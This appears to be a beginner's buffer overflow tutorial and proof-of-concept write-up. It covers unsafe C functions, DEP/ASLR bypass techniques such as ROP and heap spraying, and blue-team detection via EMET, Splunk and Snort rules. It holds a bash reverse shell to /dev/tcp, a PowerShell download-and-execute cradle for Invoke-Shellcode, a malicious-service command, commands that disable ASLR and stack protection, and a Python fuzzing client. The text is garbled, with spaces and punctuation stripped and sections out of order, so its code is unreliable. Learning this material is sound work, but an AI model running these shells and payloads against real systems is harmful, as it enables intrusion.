Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
